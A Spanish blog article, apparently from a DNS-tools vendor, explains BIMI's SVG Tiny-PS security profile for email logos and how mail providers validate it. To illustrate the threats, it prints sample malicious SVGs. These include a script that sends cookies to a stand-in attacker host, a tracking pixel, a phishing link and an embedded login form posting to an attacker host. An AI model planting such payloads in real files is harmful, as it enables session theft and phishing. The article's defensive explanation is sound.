SVG Tiny-PS: el perfil de seguridad impuesto por BIMI explicado
Por CaptainDNS
Publicado el 2 de marzo de 2026

- SVG estándar puede incluir scripts JavaScript, enlaces de phishing y píxeles de tracking: capacidades incompatibles con una bandeja de entrada
- El perfil SVG Tiny 1.2 PS (Portable/Secure) elimina toda ejecución de código, toda carga externa y toda interactividad
- Gmail, Yahoo Mail y Apple Mail analizan cada logo BIMI y rechazan cualquier archivo que infrinja las restricciones del perfil PS
Un archivo SVG no es una simple imagen. Es un documento XML que puede contener JavaScript, enlaces de hipertexto, peticiones a servidores externos e incluso HTML incrustado mediante <foreignObject>. Estas capacidades, útiles en la web, se convierten en armas en un contexto de correo electrónico.
BIMI (Brand Indicators for Message Identification) muestra el logo de una marca directamente en la bandeja de entrada del destinatario. Si ese logo pudiera ejecutar código o cargar recursos externos, se convertiría en el vector de ataque más accesible jamás desplegado: presente en cada email recibido, mostrado automáticamente, sin interacción del usuario.
Por eso BIMI impone un perfil SVG ultrarestrictivo: SVG Tiny 1.2 PS (Portable/Secure). Este artículo detalla el origen de este perfil, las amenazas que neutraliza y la forma en que los proveedores de correo lo aplican.
Del W3C a BIMI: ¿de dónde viene el perfil SVG Tiny-PS?
El perfil SVG Tiny-PS no surge de la nada. Se apoya en dos décadas de trabajo de estandarización del W3C, adaptado a las restricciones específicas del correo electrónico.
SVG Tiny 1.2: un estándar para dispositivos con recursos limitados
En 2008, el W3C publica la especificación SVG Tiny 1.2. El objetivo inicial no tiene nada que ver con el correo electrónico: se trata de permitir la visualización de gráficos vectoriales en dispositivos móviles con recursos limitados (teléfonos de la época, PDA, navegadores embebidos).
SVG Tiny 1.2 elimina las funcionalidades más pesadas de SVG Full: sin filtros complejos, sin <foreignObject>, sin CSS avanzado. El subconjunto restante es suficiente para mostrar iconos, logos e ilustraciones sencillas.
La extensión PS: la capa de seguridad de BIMI
Cuando el BIMI Working Group busca un formato de imagen para los logos de marca en los correos, SVG Tiny 1.2 constituye un buen punto de partida. El formato es ligero, estandarizado y no depende de resoluciones fijas. Pero SVG Tiny 1.2 conserva todavía capacidades problemáticas para la seguridad del email:
- Los scripts JavaScript (
<script>) siguen permitidos en SVG Tiny 1.2 - Los enlaces de hipertexto (
<a>) siguen autorizados - Las animaciones (
<animate>,<set>) funcionan
El BIMI Working Group añade entonces una capa adicional de restricciones, bautizada PS (Portable/Secure). El resultado es un perfil declarado mediante el atributo baseProfile="tiny-ps" en la etiqueta <svg> raíz:
<svg xmlns="http://www.w3.org/2000/svg"
version="1.2"
baseProfile="tiny-ps"
viewBox="0 0 512 512">
<!-- Contenido del logo -->
</svg>
El atributo baseProfile="tiny-ps" indica a los parsers que el archivo está sujeto a las restricciones PS. Un proveedor de correo que encuentra un SVG sin este atributo lo rechaza, aunque el contenido sea técnicamente conforme.
¿Qué vectores de ataque puede contener un archivo SVG?
Para entender las restricciones, primero hay que entender los riesgos. Un archivo SVG clásico ofrece cinco grandes superficies de ataque en un contexto de correo electrónico.
Ejecución de código JavaScript
SVG soporta la etiqueta <script> con JavaScript completo. En un navegador, es una funcionalidad. En una bandeja de entrada, es una vulnerabilidad XSS (Cross-Site Scripting) servida en bandeja:
<!-- SVG malicioso: robo de sesión -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>
Un archivo así, mostrado como logo BIMI, podría acceder al DOM del cliente de correo web, exfiltrar cookies de sesión o inyectar contenido en la página.
Carga de recursos externos
La etiqueta <image> permite cargar imágenes desde un servidor remoto. Es un píxel de tracking disfrazado de logo:
<!-- SVG con píxel de tracking -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://tracker.example/pixel.gif?uid=12345"
width="1" height="1"/>
<circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>
Cada visualización del logo dispara una petición HTTP. El atacante sabe cuándo, dónde y cuántas veces se abre el email (dirección IP, user agent, frecuencia).
Enlaces de phishing
El elemento <a> crea zonas clicables en un SVG. Un logo completamente clicable que redirige a un sitio de phishing pasaría desapercibido para la mayoría de los usuarios:
<!-- SVG con enlace de phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="https://fake-bank.example/login">
<rect width="100" height="100" fill="#8B5CF6"/>
<text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
</a>
</svg>
Contenido HTML incrustado
<foreignObject> permite inyectar HTML y CSS arbitrarios en un SVG. Es la superficie de ataque más amplia: formularios, iframes, scripts anidados:
<!-- SVG con HTML incrustado -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="https://attacker.example/phish">
<input type="text" placeholder="Email"/>
<input type="password" placeholder="Contraseña"/>
<button>Iniciar sesión</button>
</form>
</div>
</foreignObject>
</svg>
Animaciones e interacciones con eventos
Los elementos <animate>, <set> y los atributos onclick, onmouseover permiten crear comportamientos dinámicos. Un logo animado podría simular una interfaz, mostrar botones falsos o activar acciones al pasar el cursor.

¿Cómo neutraliza el perfil PS cada amenaza?
El perfil PS aplica tres categorías de restricciones. Cada una apunta a un grupo de amenazas específico.
Categoría 1: elementos prohibidos
El perfil PS elimina completamente ciertos elementos XML del vocabulario SVG autorizado:
| Elemento prohibido | Amenaza neutralizada |
|---|---|
<script> | Ejecución de código JavaScript (XSS) |
<image> | Carga de recursos externos (tracking) |
<a> | Enlaces de phishing clicables |
<foreignObject> | Inyección de HTML/CSS arbitrario |
<animate>, <animateTransform>, <set> | Animaciones y comportamientos dinámicos |
<filter>, <feGaussianBlur> | Filtros complejos (renderizado impredecible) |
<pattern>, <mask>, <symbol> | Elementos avanzados innecesarios para un logo |
<marker>, <switch>, <cursor> | Interactividad y personalización |
Si un archivo SVG contiene aunque sea uno de estos elementos, el proveedor lo rechaza íntegramente. No hay modo degradado: un solo elemento prohibido basta.
Categoría 2: atributos y eventos eliminados
Incluso en los elementos permitidos, ciertos atributos están prohibidos:
- Eventos JavaScript:
onclick,onmouseover,onload,onfocusiny todos los atributoson* - Referencias externas:
xlink:hrefapuntando a una URL externa (las referencias internas con#idsiguen autorizadas) - Estilos CSS complejos: los bloques
<style>están prohibidos; las propiedades deben declararse como atributos inline (fill="#0EA5E9")
Categoría 3: estructura impuesta
El perfil PS impone una estructura precisa en el elemento <svg> raíz:
| Atributo | Valor requerido | Función |
|---|---|---|
version | 1.2 | Declara el subconjunto SVG Tiny 1.2 |
baseProfile | tiny-ps | Activa las restricciones PS |
viewBox | 0 0 X X (cuadrado) | Garantiza una relación de aspecto 1:1 |
xmlns | http://www.w3.org/2000/svg | Namespace SVG estándar |
El viewBox cuadrado no es una restricción de seguridad propiamente dicha. Garantiza que el logo se muestre correctamente independientemente del cliente de correo y del tamaño de la zona de visualización.
Elementos permitidos
Lo que queda tras el filtrado constituye el vocabulario mínimo para dibujar un logo:
Contenedores: <svg>, <g>, <defs>
Formas: <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>
Texto: <text>, <tspan>
Colores: <linearGradient>, <radialGradient>, <stop>, <solidColor>
Recorte: <clipPath>, <use> (referencia local únicamente)
Accesibilidad: <title>, <desc>
Este vocabulario es suficiente para reproducir cualquier logo de marca. Los logos no necesitan scripts, animaciones ni enlaces: por naturaleza son imágenes estáticas.
¿Cómo validan los proveedores un logo SVG Tiny-PS?
Los proveedores de correo no confían en el atributo baseProfile="tiny-ps". Analizan el archivo completamente y verifican cada elemento.
El proceso de validación
La validación sigue un pipeline de cuatro etapas:
- Recuperación: el proveedor descarga el archivo SVG desde la URL indicada en el registro DNS BIMI (
l=https://...) - Parsing XML: el archivo se analiza como un documento XML estricto. Cualquier archivo mal formado se rechaza
- Verificación estructural: presencia de
version="1.2",baseProfile="tiny-ps",viewBoxcuadrado, namespace correcto - Análisis de elementos: cada nodo XML se compara con la lista blanca. Un elemento prohibido provoca un rechazo inmediato
Diferencias entre proveedores
| Criterio | Gmail | Yahoo Mail | Apple Mail |
|---|---|---|---|
| Validación SVG Tiny-PS | Estricta | Estricta | Estricta |
| Certificado VMC/CMC requerido | Sí | No | No |
| Caché del logo | Largo (días) | Medio (horas) | Corto |
DMARC p=reject obligatorio | Sí | No (p=quarantine basta) | No (p=quarantine basta) |
Gmail aplica la validación más estricta. Además del formato SVG Tiny-PS, exige un certificado VMC (Verified Mark Certificate) o CMC (Common Mark Certificate) que vincula criptográficamente el logo con la identidad de la marca. Yahoo Mail y Apple Mail muestran el logo sin certificado, pero validan el formato con el mismo rigor.
Causas de rechazo más comunes
Las causas de rechazo más frecuentes son:
baseProfileausente: el archivo no declarabaseProfile="tiny-ps"(aproximadamente el 50 % de los casos)- Bloque
<style>presente: los editores gráficos exportan los colores en CSS, no en atributos inline - Elemento
<image>detectado: un bitmap incrustado en base64 dentro del SVG viewBoxno cuadrado: relación de aspecto distinta de 1:1- Namespace superfluo:
xmlns:inkscape,xmlns:xlinkcon referencias no utilizadas

🎯 Plan de acción recomendado
- Auditar tu archivo SVG actual: ábrelo en un editor de texto y busca los elementos prohibidos (
<script>,<image>,<style>,<a>,<animate>) - Verificar los atributos raíz: confirma la presencia de
version="1.2",baseProfile="tiny-ps"y unviewBoxcuadrado - Convertir automáticamente: pasa el archivo por un convertidor SVG Tiny-PS para eliminar los elementos prohibidos y añadir los atributos faltantes
- Probar la recuperación: utiliza la herramienta de verificación BIMI de CaptainDNS para confirmar que el logo es accesible y válido desde el registro DNS
- Monitorizar las actualizaciones: el BIMI Working Group puede ajustar las restricciones; consulta regularmente la RFC 9495
FAQ
¿Qué es el perfil SVG Tiny-PS?
SVG Tiny 1.2 PS (Portable/Secure) es un subconjunto restringido del formato SVG, definido para BIMI. Retoma la base de SVG Tiny 1.2 del W3C y añade restricciones de seguridad: sin scripts, sin enlaces, sin imágenes externas, sin animaciones. Solo se permiten los elementos visuales estáticos (formas, texto, gradientes).
¿Por qué BIMI no acepta archivos SVG estándar?
Un archivo SVG estándar puede contener JavaScript, enlaces de hipertexto, píxeles de tracking y HTML incrustado. Mostrar un archivo así automáticamente en una bandeja de entrada abriría una superficie de ataque masiva. El perfil SVG Tiny-PS elimina estas capacidades para que el logo sea una imagen estática inofensiva.
¿Cuál es la diferencia entre SVG Tiny 1.2 y SVG Tiny-PS?
SVG Tiny 1.2 es un estándar W3C diseñado para dispositivos móviles. Elimina las funcionalidades más pesadas de SVG Full pero conserva los scripts y los enlaces. SVG Tiny-PS añade una capa de restricciones de seguridad específicas para BIMI: prohibición de scripts, enlaces, animaciones y cualquier carga externa.
¿Qué tipos de ataques puede contener un archivo SVG malicioso?
Un SVG malicioso puede contener JavaScript para ejecutar XSS, etiquetas <image> para tracking por píxel, enlaces <a> para phishing, HTML mediante <foreignObject> para inyectar formularios, y animaciones para simular elementos de interfaz falsos.
¿Cómo valida Gmail un logo BIMI?
Gmail descarga el SVG desde la URL declarada en el registro DNS BIMI, analiza el XML, verifica la presencia de baseProfile="tiny-ps" y un viewBox cuadrado, y luego examina cada elemento contra la lista blanca del perfil PS. También exige un certificado VMC o CMC válido para mostrar el logo con la insignia de verificación.
¿El perfil SVG Tiny-PS permite gradientes y colores?
Sí. Los gradientes lineales (<linearGradient>), radiales (<radialGradient>) y los colores (fill, stroke, <solidColor>) están permitidos. El perfil PS solo restringe los elementos que suponen un riesgo de seguridad, no los elementos decorativos necesarios para un logo.
¿Existe un validador oficial para SVG Tiny-PS?
El BIMI Group no proporciona un validador oficial. Los proveedores de correo realizan su propia validación durante el procesamiento del email. Para probar tu logo antes de publicarlo, utiliza una herramienta de verificación BIMI que simule el proceso de validación de los proveedores.
📖 Glosario
- SVG Tiny 1.2 PS: perfil de seguridad del formato SVG adoptado por BIMI. PS significa Portable/Secure. Restringe SVG Tiny 1.2 a los elementos visuales estáticos eliminando scripts, enlaces, animaciones y carga externa.
- XSS (Cross-Site Scripting): ataque que inyecta código JavaScript en una página web para robar datos o secuestrar sesiones. Un SVG con
<script>puede servir como vector XSS. - baseProfile: atributo XML de la etiqueta
<svg>que declara el perfil SVG utilizado. El valortiny-psindica al parser que el archivo debe respetar las restricciones PS. - BIMI: Brand Indicators for Message Identification. Estándar que muestra el logo de una marca en los clientes de correo, condicionado a DMARC y (según el proveedor) a un certificado VMC/CMC.
- VMC/CMC: Verified Mark Certificate / Common Mark Certificate. Certificados que vinculan criptográficamente un logo con una marca. Gmail exige uno de estos certificados para mostrar la insignia de verificación.
- RFC 9495: especificación IETF de BIMI, publicada en diciembre de 2023. Define el formato de registro DNS, el proceso de validación y los requisitos sobre el logo SVG.
Verifica la conformidad de tu logo: pasa tu archivo SVG por el convertidor SVG Tiny-PS de CaptainDNS para detectar y corregir automáticamente los elementos no conformes.
📚 Guías de BIMI relacionadas
- Cómo crear un logo BIMI conforme con SVG Tiny-PS: guía práctica paso a paso para preparar, convertir y validar un logo
- Configurar BIMI para una pyme: guía económica sin VMC: desplegar BIMI sin VMC con un presupuesto ajustado, paso a paso


